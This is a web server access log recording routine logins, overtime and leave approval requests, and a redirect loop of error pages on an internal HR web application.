100.64.0.1 - - [03/Sep/2025:18:15:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:18:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:18:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:21:52 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:21:52 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.40.39 - - [03/Sep/2025:18:22:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:18:22:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:18:22:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10549 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10549
192.168.40.39 - - [03/Sep/2025:18:22:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11605
192.168.40.39 - - [03/Sep/2025:18:22:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11605 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131056%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131056&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131056%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131056&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.40.39 - - [03/Sep/2025:18:22:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12099
192.168.40.39 - - [03/Sep/2025:18:22:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12099 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:22:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995
192.168.40.39 - - [03/Sep/2025:18:22:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:25:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:18:25:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:25:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:18:25:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:25:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:18:25:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:18:25:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
